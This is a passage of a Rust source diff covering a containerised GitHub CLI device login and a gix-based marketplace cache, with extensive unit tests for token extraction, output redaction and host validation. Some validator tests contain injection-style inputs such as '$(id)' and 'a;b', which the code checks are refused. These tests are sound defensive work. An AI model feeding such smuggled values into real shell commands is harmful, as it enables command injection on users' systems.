"Timed out after {} minutes waiting for the GitHub sign-in. Nothing was stored.",
|
||||
LOGIN_TIMEOUT.as_secs() / 60
|
||||
));
|
||||
}
|
||||
},
|
||||
};
|
||||
let frame = match next {
|
||||
Some(Ok(frame)) => frame,
|
||||
Some(Err(e)) => {
|
||||
return Err(format!(
|
||||
"Lost the connection to gh: {e}. Nothing was stored."
|
||||
))
|
||||
}
|
||||
None => return Ok(transcript),
|
||||
};
|
||||
let text = stripper.push(&frame.into_bytes());
|
||||
push_capped_tail(&mut transcript, &text, MAX_TRANSCRIPT);
|
||||
|
||||
let shown = take_display_lines(&mut pending, &text);
|
||||
if !shown.is_empty() {
|
||||
emit(
|
||||
OUTPUT_EVENT,
|
||||
serde_json::json!({ "account_id": account_id, "chunk": shown }),
|
||||
);
|
||||
}
|
||||
if !code_sent {
|
||||
if let Some((code, url)) = parse_device_prompt(&transcript, host) {
|
||||
emit(
|
||||
CODE_EVENT,
|
||||
serde_json::json!({ "account_id": account_id, "code": code, "url": url }),
|
||||
);
|
||||
code_sent = true;
|
||||
}
|
||||
}
|
||||
if code_sent && !enter_sent && transcript.contains("Press Enter") {
|
||||
// The Enter is its own write, after a pause (PR #64): arriving with
|
||||
// other bytes it can be read as part of a paste and swallowed.
|
||||
tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
|
||||
input
|
||||
.write_all(b"\r")
|
||||
.await
|
||||
.map_err(|e| format!("Could not answer gh's prompt: {e}. Nothing was stored."))?;
|
||||
let _ = input.flush().await;
|
||||
enter_sent = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run `gh auth login --web` in the container and return the token it minted.
|
||||
///
|
||||
/// Once the exec exists there is exactly one way out: the result of the inner
|
||||
/// block goes through [`cleanup_on_error`], so only a token read back skips
|
||||
/// the in-container kill.
|
||||
pub async fn run_gh_container_login(
|
||||
app: &AppHandle,
|
||||
account_id: &str,
|
||||
container_id: &str,
|
||||
host: &str,
|
||||
mut cancel: oneshot::Receiver<()>,
|
||||
) -> Result<String, String> {
|
||||
if !valid_host(host) {
|
||||
return Err(format!("{host:?} is not a valid host name."));
|
||||
}
|
||||
let AttachedExec {
|
||||
exec_id,
|
||||
output,
|
||||
input,
|
||||
} = create_attached_exec_as(
|
||||
container_id,
|
||||
vec![
|
||||
"sh".to_string(),
|
||||
"-c".to_string(),
|
||||
GH_LOGIN_SCRIPT.to_string(),
|
||||
"triple-c-gh-login".to_string(),
|
||||
host.to_string(),
|
||||
],
|
||||
true,
|
||||
"claude",
|
||||
"/home/claude",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT;
|
||||
let result = async {
|
||||
let transcript = drive_login(
|
||||
output,
|
||||
input,
|
||||
&mut cancel,
|
||||
deadline,
|
||||
account_id,
|
||||
host,
|
||||
|event, payload| {
|
||||
let _ = app.emit(event, payload);
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
if let Some(token) = extract_token(&transcript) {
|
||||
return Ok(token);
|
||||
}
|
||||
let status = wait_for_exec_exit(&exec_id).await;
|
||||
Err(format!(
|
||||
"gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}",
|
||||
status
|
||||
.map(|c| c.to_string())
|
||||
.unwrap_or_else(|| "unknown".to_string()),
|
||||
failure_tail(&transcript)
|
||||
))
|
||||
}
|
||||
.await;
|
||||
cleanup_on_error(result, || kill_container_login(container_id)).await
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
const GH_PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\nPress Enter to open github.com in your browser... ";
|
||||
|
||||
#[test]
|
||||
fn the_device_code_is_read_and_the_url_defaults_to_the_host() {
|
||||
assert_eq!(
|
||||
parse_device_prompt(GH_PROMPT, "github.com"),
|
||||
Some((
|
||||
"4F2A-9C1B".to_string(),
|
||||
"https://github.com/login/device".to_string()
|
||||
))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_explicit_device_url_wins() {
|
||||
let out = "! First copy your one-time code: AB12-CD34\nOpen this URL to continue in your web browser: https://ghe.example.com/login/device\n";
|
||||
assert_eq!(
|
||||
parse_device_prompt(out, "ghe.example.com"),
|
||||
Some((
|
||||
"AB12-CD34".to_string(),
|
||||
"https://ghe.example.com/login/device".to_string()
|
||||
))
|
||||
);
|
||||
}
|
||||
|
||||
/// gh 2.101.0 (the image's gh, integration report check 6), after ANSI
|
||||
/// stripping: the code is in parentheses and the URL is on the Enter line.
|
||||
const GH_2_101_PROMPT: &str = "! One-time code (4F2A-9C1B) copied to clipboard\nPress Enter to open https://github.com/login/device in your browser... ";
|
||||
|
||||
#[test]
|
||||
fn the_gh_2_101_wording_is_read() {
|
||||
assert_eq!(
|
||||
parse_device_prompt(GH_2_101_PROMPT, "github.com"),
|
||||
Some((
|
||||
"4F2A-9C1B".to_string(),
|
||||
"https://github.com/login/device".to_string()
|
||||
))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_url_comes_from_the_press_enter_line() {
|
||||
let out = "! One-time code (AB12-CD34) copied to clipboard\nPress Enter to open https://ghe.example.com/login/device in your browser... ";
|
||||
assert_eq!(
|
||||
parse_device_prompt(out, "github.com"),
|
||||
Some((
|
||||
"AB12-CD34".to_string(),
|
||||
"https://ghe.example.com/login/device".to_string()
|
||||
))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_gh_2_101_wording_without_a_code_is_no_prompt() {
|
||||
assert_eq!(parse_device_prompt("! One-time code (", "github.com"), None);
|
||||
assert_eq!(
|
||||
parse_device_prompt("! One-time code (4F2A", "github.com"),
|
||||
None
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_code_cut_by_a_frame_boundary_is_not_a_code_yet() {
|
||||
assert_eq!(
|
||||
parse_device_prompt("! One-time code (4F2A-9C", "github.com"),
|
||||
None
|
||||
);
|
||||
assert_eq!(
|
||||
parse_device_prompt("! First copy your one-time code: 4F2A-9C", "github.com"),
|
||||
None
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_code_yet_means_no_prompt() {
|
||||
assert_eq!(
|
||||
parse_device_prompt("! First copy your one-time", "github.com"),
|
||||
None
|
||||
);
|
||||
assert_eq!(parse_device_prompt("", "github.com"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_token_is_taken_from_between_the_markers() {
|
||||
let out = "✓ Logged in\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n";
|
||||
assert_eq!(extract_token(out), Some("test-token-not-real".to_string()));
|
||||
assert_eq!(
|
||||
extract_token("__TRIPLEC_TOKEN_BEGIN__test-token-not-real"),
|
||||
None,
|
||||
"unterminated"
|
||||
);
|
||||
assert_eq!(
|
||||
extract_token("__TRIPLEC_TOKEN_BEGIN____TRIPLEC_TOKEN_END__"),
|
||||
None,
|
||||
"empty"
|
||||
);
|
||||
assert_eq!(
|
||||
extract_token("__TRIPLEC_TOKEN_BEGIN__a b__TRIPLEC_TOKEN_END__"),
|
||||
None,
|
||||
"whitespace"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_complete_lines_are_shown_and_the_token_line_never_is() {
|
||||
let mut pending = String::new();
|
||||
assert_eq!(
|
||||
take_display_lines(&mut pending, "! First copy your one-"),
|
||||
""
|
||||
);
|
||||
assert_eq!(
|
||||
take_display_lines(&mut pending, "time code: 4F2A-9C1B\nPress"),
|
||||
"! First copy your one-time code: 4F2A-9C1B\n"
|
||||
);
|
||||
assert_eq!(pending, "Press");
|
||||
let shown = take_display_lines(
|
||||
&mut pending,
|
||||
" Enter\n__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\ndone\n",
|
||||
);
|
||||
assert_eq!(shown, "Press Enter\ndone\n");
|
||||
assert!(!shown.contains("test-token-not-real"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn escape_sequences_and_carriage_returns_are_removed() {
|
||||
assert_eq!(strip_ansi("\u{1b}[1;32m✓\u{1b}[0m done\r\n"), "✓ done\n");
|
||||
assert_eq!(
|
||||
strip_ansi("a\u{1b}]8;;https://x\u{7}link\u{1b}]8;;\u{7}b"),
|
||||
"alinkb"
|
||||
);
|
||||
assert_eq!(strip_ansi("cut\u{1b}["), "cut");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hosts_are_plain_names() {
|
||||
assert!(valid_host("github.com"));
|
||||
assert!(valid_host("ghe.corp-1.example"));
|
||||
for bad in ["", "-x", "a b", "a;b", "a/b", "$(id)"] {
|
||||
assert!(!valid_host(bad), "{bad:?}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Pre-flight F13: the shared `auth::valid_host` accepts `host:port`, but
|
||||
/// `gh auth login --hostname` takes a bare name, so a port is refused here.
|
||||
#[test]
|
||||
fn hosts_with_a_port_are_refused() {
|
||||
assert!(crate::marketplace::auth::valid_host("ghe.corp:8443"));
|
||||
assert!(!valid_host("ghe.corp:8443"));
|
||||
assert!(!valid_host("ghe.corp:"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_failure_tail_never_carries_the_token() {
|
||||
let transcript = "! First copy your one-time code: 4F2A-9C1B\n\
|
||||
__TRIPLEC_TOKEN_BEGIN__test-token-not-real__TRIPLEC_TOKEN_END__\n\
|
||||
error: something odd\n";
|
||||
let tail = failure_tail(transcript);
|
||||
assert!(!tail.contains("test-token-not-real"));
|
||||
assert!(tail.contains("error: something odd"));
|
||||
}
|
||||
|
||||
/// Pre-flight N9: the cancel/timeout `pkill -f` pattern has to match the
|
||||
/// `gh` command line the script runs.
|
||||
#[test]
|
||||
fn the_cancel_pattern_matches_the_script() {
|
||||
assert_eq!(CANCEL_PKILL[0], "pkill");
|
||||
assert_eq!(CANCEL_PKILL[1], "-f");
|
||||
assert!(GH_LOGIN_SCRIPT.contains(CANCEL_PKILL[2]));
|
||||
}
|
||||
|
||||
/// Review fix 1: every failed login tears the container side down, and a
|
||||
/// successful one does not.
|
||||
mod teardown {
|
||||
use super::super::*;
|
||||
use bollard::container::LogOutput;
|
||||
use futures_util::stream;
|
||||
use std::pin::Pin;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::task::{Context, Poll};
|
||||
|
||||
type Frame = Result<LogOutput, bollard::errors::Error>;
|
||||
|
||||
fn out(s: &'static str) -> Frame {
|
||||
Ok(LogOutput::StdOut { message: s.into() })
|
||||
}
|
||||
|
||||
fn lost() -> Frame {
|
||||
Err(bollard::errors::Error::DockerResponseServerError {
|
||||
status_code: 500,
|
||||
message: "connection reset".to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
/// Records every write separately; or fails every write.
|
||||
#[derive(Clone, Default)]
|
||||
struct Keys {
|
||||
writes: Arc<Mutex<Vec<Vec<u8>>>>,
|
||||
broken: bool,
|
||||
}
|
||||
|
||||
impl tokio::io::AsyncWrite for Keys {
|
||||
fn poll_write(
|
||||
self: Pin<&mut Self>,
|
||||
_: &mut Context<'_>,
|
||||
buf: &[u8],
|
||||
) -> Poll<std::io::Result<usize>> {
|
||||
if self.broken {
|
||||
return Poll::Ready(Err(std::io::Error::other("pipe closed")));
|
||||
}
|
||||
self.writes.lock().unwrap().push(buf.to_vec());
|
||||
Poll::Ready(Ok(buf.len()))
|
||||
}
|
||||
fn poll_flush(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll<std::io::Result<()>> {
|
||||
Poll::Ready(Ok(()))
|
||||
}
|
||||
fn poll_shutdown(
|
||||
self: Pin<&mut Self>,
|
||||
_: &mut Context<'_>,
|
||||
) -> Poll<std::io::Result<()>> {
|
||||
Poll::Ready(Ok(()))
|
||||
}
|
||||
}
|
||||
|
||||
const PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\r\nPress Enter to open github.com in your browser... ";
|
||||
|
||||
async fn drive<S>(
|
||||
frames: S,
|
||||
keys: Keys,
|
||||
cancel: &mut oneshot::Receiver<()>,
|
||||
deadline: tokio::time::Instant,
|
||||
) -> (
|
||||
Result<String, String>,
|
||||
Vec<(&'static str, serde_json::Value)>,
|
||||
)
|
||||
where
|
||||
S: futures_util::Stream<Item = Frame> + Unpin,
|
||||
{
|
||||
let mut events = Vec::new();
|
||||
let r = drive_login(
|
||||
frames,
|
||||
keys,
|
||||
cancel,
|
||||
deadline,
|
||||
"acct-1",
|
||||
"github.com",
|
||||
|e, p| events.push((e, p)),
|
||||
)
|
||||
.await;
|
||||
(r, events)
|
||||
}
|
||||
|
||||
fn far() -> tokio::time::Instant {
|
||||
tokio::time::Instant::now() + LOGIN_TIMEOUT
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cleanup_runs_on_every_failure_and_never_on_success() {
|
||||
let runs = Arc::new(Mutex::new(0));
|
||||
let count = || {
|
||||
let runs = runs.clone();
|
||||
async move { *runs.lock().unwrap() += 1 }
|
||||
};
|
||||
let ok: Result<String, String> = Ok("test-token-not-real".into());
|
||||
assert!(cleanup_on_error(ok, count).await.is_ok());
|
||||
assert_eq!(*runs.lock().unwrap(), 0);
|
||||
let err: Result<String, String> = Err("boom".into());
|
||||
assert_eq!(cleanup_on_error(err, count).await, Err("boom".into()));
|
||||
assert_eq!(*runs.lock().unwrap(), 1);
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_complete_login_returns_the_transcript_and_presses_enter_alone() {
|
||||
let keys = Keys::default();
|
||||
let (_tx, mut cancel) = oneshot::channel();
|
||||
let frames = stream::iter(vec![
|
||||
out(PROMPT),
|
||||
out("\r\n\u{2713} Logged in\r\n"),
|
||||
out("__TRIPLEC_TOKEN_BEGIN__test-token-"),
|
||||
out("not-real__TRIPLEC_TOKEN_END__\r\n"),
|
||||
]);
|
||||
let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
|
||||
let transcript = r.unwrap();
|
||||
assert_eq!(
|
||||
extract_token(&transcript),
|
||||
Some("test-token-not-real".into())
|
||||
);
|
||||
assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
|
||||
assert!(events.contains(&(
|
||||
CODE_EVENT,
|
||||
serde_json::json!({
|
||||
"account_id": "acct-1",
|
||||
"code": "4F2A-9C1B",
|
||||
"url": "https://github.com/login/device"
|
||||
})
|
||||
)));
|
||||
for (_, payload) in &events {
|
||||
assert!(!payload.to_string().contains("test-token-not-real"));
|
||||
}
|
||||
}
|
||||
|
||||
/// The raw bytes gh 2.101.0 prints under a tty (integration report
|
||||
/// check 6), with a fake code: the code event goes out and Enter is
|
||||
/// pressed, or gh never starts polling.
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn gh_2_101_gets_its_code_event_and_its_enter() {
|
||||
let keys = Keys::default();
|
||||
let (_tx, mut cancel) = oneshot::channel();
|
||||
let frames = stream::iter(vec![
|
||||
out("\u{1b}]11;?\u{1b}\\\u{1b}[6n"),
|
||||
out("\r\n"),
|
||||
out("\u{1b}]52;c;NEYyQS05QzFC\u{7}\u{1b}[0;33m!\u{1b}[0m One-time code (\u{1b}[0;1;39m4F2A-9C1B\u{1b}[0m) copied to clipboard\r\n\u{1b}[0;1;39mPress Enter\u{1b}[0m to open https://github.com/login/device in your browser... "),
|
||||
]);
|
||||
let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await;
|
||||
assert!(r.is_ok());
|
||||
assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]);
|
||||
assert!(events.contains(&(
|
||||
CODE_EVENT,
|
||||
serde_json::json!({
|
||||
"account_id": "acct-1",
|
||||
"code": "4F2A-9C1B",
|
||||
"url": "https://github.com/login/device"
|
||||
})
|
||||
)));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn a_lost_stream_is_a_failure() {
|
||||
let (_tx, mut cancel) = oneshot::channel();
|
||||
let frames = stream::iter(vec![out(PROMPT), lost()]);
|
||||
let (r, _) = drive(frames, Keys::default(), &mut cancel, far()).await;
|
||||
assert!(r.unwrap_err().contains("Lost the connection"));
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_failed_enter_is_a_failure() {
|
||||
let keys = Keys {
|
||||
broken: true,
|
||||
..Default::default()
|
||||
};
|
||||
let (_tx, mut cancel) = oneshot::channel();
|
||||
let frames = stream::iter(vec![out(PROMPT)]);
|
||||
let (r, _) = drive(frames, keys, &mut cancel, far()).await;
|
||||
assert!(r.unwrap_err().contains("Could not answer"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn a_cancel_is_a_failure() {
|
||||
let (tx, mut cancel) = oneshot::channel();
|
||||
tx.send(()).unwrap();
|
||||
let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, far()).await;
|
||||
assert!(r.unwrap_err().contains("cancelled"));
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_timeout_is_a_failure() {
|
||||
let (_tx, mut cancel) = oneshot::channel();
|
||||
let deadline = tokio::time::Instant::now() + Duration::from_secs(1);
|
||||
let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, deadline).await;
|
||||
assert!(r.unwrap_err().contains("Timed out"));
|
||||
}
|
||||
}
|
||||
|
||||
/// The script end to end against a stand-in `gh`, as a login would run it
|
||||
/// inside the container (minus Docker).
|
||||
#[cfg(unix)]
|
||||
mod script {
|
||||
use super::super::*;
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
/// A fake `gh` that records its environment into `log_dir` and prints
|
||||
/// the fixture token for `auth token`. `login_body` runs for `auth login`.
|
||||
fn fake_gh(dir: &Path, log_dir: &Path, login_body: &str) -> PathBuf {
|
||||
let bin = dir.join("bin");
|
||||
std::fs::create_dir_all(&bin).unwrap();
|
||||
let gh = bin.join("gh");
|
||||
std::fs::write(
|
||||
&gh,
|
||||
format!(
|
||||
"#!/bin/sh\n\
|
||||
log='{log}'\n\
|
||||
case \"$1 $2\" in\n\
|
||||
'auth login')\n\
|
||||
printf '%s\\n' \"$GH_CONFIG_DIR\" > \"$log/config_dir\"\n\
|
||||
printf '%s\\n' \"$GIT_CONFIG_GLOBAL\" > \"$log/git_config\"\n\
|
||||
printf '%s\\n' \"$BROWSER\" > \"$log/browser\"\n\
|
||||
printf '%s\\n' \"$*\" > \"$log/args\"\n\
|
||||
echo 'token-in-config' > \"$GH_CONFIG_DIR/hosts.yml\"\n\
|
||||
{login}\n\
|
||||
;;\n\
|
||||
'auth token') echo test-token-not-real ;;\n\
|
||||
*) exit 9 ;;\n\
|
||||
esac\n",
|
||||
log = log_dir.display(),
|
||||
login = login_body,
|
||||
),
|
||||
)
|
||||
.unwrap();
|
||||
std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
|
||||
bin
|
||||
}
|
||||
|
||||
fn script_command(bin: &Path, tmp: &Path, host: &str) -> Command {
|
||||
let mut cmd = Command::new("sh");
|
||||
cmd.arg("-c")
|
||||
.arg(GH_LOGIN_SCRIPT)
|
||||
.arg("triple-c-gh-login")
|
||||
.arg(host)
|
||||
.env(
|
||||
"PATH",
|
||||
format!("{}:{}", bin.display(), std::env::var("PATH").unwrap()),
|
||||
)
|
||||
.env("TMPDIR", tmp);
|
||||
cmd
|
||||
}
|
||||
|
||||
fn read(p: PathBuf) -> String {
|
||||
std::fs::read_to_string(p).unwrap().trim().to_string()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_token_comes_back_and_the_temp_config_is_gone() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let log = root.path().join("log");
|
||||
let tmp = root.path().join("tmp");
|
||||
std::fs::create_dir_all(&log).unwrap();
|
||||
std::fs::create_dir_all(&tmp).unwrap();
|
||||
let bin = fake_gh(root.path(), &log, "echo '✓ Logged in'");
|
||||
|
||||
let out = script_command(&bin, &tmp, "github.com").output().unwrap();
|
||||
assert!(
|
||||
out.status.success(),
|
||||
"{}",
|
||||
String::from_utf8_lossy(&out.stderr)
|
||||
);
|
||||
let stdout = String::from_utf8_lossy(&out.stdout);
|
||||
assert_eq!(
|
||||
extract_token(&stdout),
|
||||
Some("test-token-not-real".to_string())
|
||||
);
|
||||
|
||||
let config_dir = read(log.join("config_dir"));
|
||||
assert!(
|
||||
config_dir.starts_with(tmp.to_str().unwrap()),
|
||||
"{config_dir}"
|
||||
);
|
||||
assert!(
|
||||
!Path::new(&config_dir).exists(),
|
||||
"temp GH_CONFIG_DIR left behind"
|
||||
);
|
||||
assert_eq!(
|
||||
read(log.join("git_config")),
|
||||
format!("{config_dir}/gitconfig")
|
||||
);
|
||||
assert_eq!(read(log.join("browser")), "true");
|
||||
assert_eq!(
|
||||
read(log.join("args")),
|
||||
"auth login --hostname github.com --web --git-protocol ssh --skip-ssh-key --scopes repo"
|
||||
);
|
||||
assert_eq!(std::fs::read_dir(&tmp).unwrap().count(), 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_script_refuses_a_bad_host_on_its_own() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let log = root.path().join("log");
|
||||
std::fs::create_dir_all(&log).unwrap();
|
||||
let bin = fake_gh(root.path(), &log, "true");
|
||||
for bad in ["", "-x", "a;b", "$(id)", "a:1"] {
|
||||
let out = script_command(&bin, root.path(), bad).output().unwrap();
|
||||
assert_eq!(out.status.code(), Some(2), "{bad:?}");
|
||||
assert!(!log.join("args").exists(), "gh ran for {bad:?}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Pre-flight N9: a cancel `pkill`s the login; the temp config must
|
||||
/// still be removed when the script dies by signal.
|
||||
#[test]
|
||||
fn a_killed_login_still_removes_the_temp_config() {
|
||||
use std::os::unix::process::CommandExt;
|
||||
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let log = root.path().join("log");
|
||||
let tmp = root.path().join("tmp");
|
||||
std::fs::create_dir_all(&log).unwrap();
|
||||
std::fs::create_dir_all(&tmp).unwrap();
|
||||
let bin = fake_gh(root.path(), &log, "touch \"$log/started\"; sleep 30");
|
||||
|
||||
let mut child = script_command(&bin, &tmp, "github.com")
|
||||
.stdout(Stdio::null())
|
||||
.stderr(Stdio::null())
|
||||
.process_group(0)
|
||||
.spawn()
|
||||
.unwrap();
|
||||
let started = log.join("started");
|
||||
for _ in 0..200 {
|
||||
if started.exists() {
|
||||
break;
|
||||
}
|
||||
std::thread::sleep(std::time::Duration::from_millis(25));
|
||||
}
|
||||
assert!(started.exists(), "fake gh never started");
|
||||
let config_dir = read(log.join("config_dir"));
|
||||
assert!(Path::new(&config_dir).exists());
|
||||
|
||||
// Like `pkill -f`, which matches both the script and gh.
|
||||
let pgid = child.id().to_string();
|
||||
let killed = Command::new("kill")
|
||||
.args(["-s", "TERM", "--", &format!("-{pgid}")])
|
||||
.status()
|
||||
.unwrap();
|
||||
assert!(killed.success(), "kill failed");
|
||||
let sent = std::time::Instant::now();
|
||||
child.wait().unwrap();
|
||||
assert!(
|
||||
sent.elapsed() < std::time::Duration::from_secs(10),
|
||||
"the script outlived the signal"
|
||||
);
|
||||
assert!(
|
||||
!Path::new(&config_dir).exists(),
|
||||
"temp GH_CONFIG_DIR left behind"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,714 @@
|
||||
//! The marketplace cache: one bare `gix` repository per marketplace.
|
||||
//!
|
||||
//! Everything here is blocking — call it from `tokio::task::spawn_blocking`.
|
||||
//! Credentials are handed to gix through its credential callback for the
|
||||
//! duration of one fetch and are never written to disk or into the repo
|
||||
//! config.
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::atomic::AtomicBool;
|
||||
|
||||
/// The ref the fetched branch tip is stored under.
|
||||
pub const HEAD_REF: &str = "refs/triple-c/head";
|
||||
/// Prefix of the refs that keep pinned commits alive.
|
||||
pub const PIN_PREFIX: &str = "refs/triple-c/pins/";
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct Credential {
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for Credential {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("Credential")
|
||||
.field("username", &self.username)
|
||||
.field("password", &"<redacted>")
|
||||
.finish()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum FetchError {
|
||||
/// 401 / 403, or gix's "credentials … were not accepted" / "no
|
||||
/// credentials were returned" (anonymous fetch of a private repo).
|
||||
Auth {
|
||||
status: u16,
|
||||
},
|
||||
/// 404 / "repository not found".
|
||||
NotFound,
|
||||
Network(String),
|
||||
Other(String),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for FetchError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
FetchError::Auth { status } => write!(f, "access denied (HTTP {})", status),
|
||||
FetchError::NotFound => write!(f, "repository not found"),
|
||||
FetchError::Network(m) => write!(f, "network error: {}", m),
|
||||
FetchError::Other(m) => write!(f, "{}", m),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Classify a gix error by its Debug-formatted chain. gix wraps transport
|
||||
/// errors several layers deep and some layers are not `std::error::Error`,
|
||||
/// so the text is the one stable thing to match on.
|
||||
pub fn classify_fetch_error(chain: &str) -> FetchError {
|
||||
let lower = chain.to_ascii_lowercase();
|
||||
if lower.contains("http status 401")
|
||||
|| lower.contains("not accepted by the remote")
|
||||
// GitHub and GitLab answer an anonymous fetch of a private (or
|
||||
// missing) repo with a credential challenge; with no credential
|
||||
// callback result gix reports this (pre-flight F2).
|
||||
|| lower.contains("no credentials were returned")
|
||||
{
|
||||
return FetchError::Auth { status: 401 };
|
||||
}
|
||||
if lower.contains("http status 403") {
|
||||
return FetchError::Auth { status: 403 };
|
||||
}
|
||||
if lower.contains("http status 404") || lower.contains("repository not found") {
|
||||
return FetchError::NotFound;
|
||||
}
|
||||
const NETWORK: &[&str] = &[
|
||||
"dns error",
|
||||
"resolving dns",
|
||||
"failed to lookup address",
|
||||
"connection refused",
|
||||
"connection reset",
|
||||
"timed out",
|
||||
"timeout",
|
||||
"network is unreachable",
|
||||
"no route to host",
|
||||
"error sending request",
|
||||
"tcp connect error",
|
||||
];
|
||||
if NETWORK.iter().any(|needle| lower.contains(needle)) {
|
||||
// The outermost line is a generic "Transport handshake failed"; the
|
||||
// innermost `└─` line names the actual cause.
|
||||
let cause = chain
|
||||
.lines()
|
||||
.filter_map(|l| l.trim_start().strip_prefix("└─"))
|
||||
.next_back()
|
||||
.unwrap_or(chain);
|
||||
return FetchError::Network(first_line(cause));
|
||||
}
|
||||
FetchError::Other(first_line(chain))
|
||||
}
|
||||
|
||||
/// First line of `chain`, without gix's `", at <source path>:<line>"` suffix,
|
||||
/// capped at 300 characters.
|
||||
fn first_line(chain: &str) -> String {
|
||||
let line = chain.lines().next().unwrap_or("");
|
||||
let line = line.split(", at /").next().unwrap_or(line);
|
||||
line.trim().chars().take(300).collect()
|
||||
}
|
||||
|
||||
fn classify<E: std::fmt::Debug>(e: E) -> FetchError {
|
||||
classify_fetch_error(&format!("{:?}", e))
|
||||
}
|
||||
|
||||
pub fn cache_path(data_root: &Path, marketplace_id: &str) -> PathBuf {
|
||||
data_root
|
||||
.join("marketplaces")
|
||||
.join(format!("{}.git", marketplace_id))
|
||||
}
|
||||
|
||||
/// Branch names that are safe inside a refspec. Stricter than git's own
|
||||
/// rules on purpose: nothing that could change the refspec's meaning.
|
||||
/// `pub(crate)` so the add-marketplace form validates with this same rule
|
||||
/// (pre-flight F13).
|
||||
pub(crate) fn valid_branch(branch: &str) -> bool {
|
||||
!branch.is_empty()
|
||||
&& branch.len() <= 200
|
||||
&& !branch.starts_with('-')
|
||||
&& !branch.starts_with('/')
|
||||
&& !branch.ends_with('/')
|
||||
&& !branch.ends_with(".lock")
|
||||
&& !branch.contains("..")
|
||||
&& !branch.contains("//")
|
||||
&& branch
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_' | b'.' | b'/'))
|
||||
}
|
||||
|
||||
fn open_or_init(repo_path: &Path) -> Result<gix::Repository, FetchError> {
|
||||
if repo_path.exists() {
|
||||
gix::open(repo_path)
|
||||
.map_err(|e| FetchError::Other(format!("Could not open the marketplace cache: {}", e)))
|
||||
} else {
|
||||
if let Some(parent) = repo_path.parent() {
|
||||
std::fs::create_dir_all(parent).map_err(|e| {
|
||||
FetchError::Other(format!("Could not create {}: {}", parent.display(), e))
|
||||
})?;
|
||||
}
|
||||
gix::init_bare(repo_path).map_err(|e| {
|
||||
FetchError::Other(format!("Could not create the marketplace cache: {}", e))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// `(scheme, host[:port])` of a credential request, lowercased, with a
|
||||
/// default port dropped (gix's own normalisation). None if it names no host.
|
||||
fn credential_origin(ctx: &gix::credentials::protocol::Context) -> Option<(String, String)> {
|
||||
let mut ctx = ctx.clone();
|
||||
ctx.destructure_url_in_place(false).ok()?;
|
||||
let protocol = ctx.protocol?.to_ascii_lowercase();
|
||||
let host = ctx.host?.to_ascii_lowercase();
|
||||
(!host.is_empty()).then_some((protocol, host))
|
||||
}
|
||||
|
||||
/// True when a credential request is for the marketplace's own scheme, host
|
||||
/// and port. gix follows redirects of the initial handshake, and the token
|
||||
/// must never be offered to a host it was redirected to (final review M1).
|
||||
pub(crate) fn credential_matches(ctx: &gix::credentials::protocol::Context, url: &str) -> bool {
|
||||
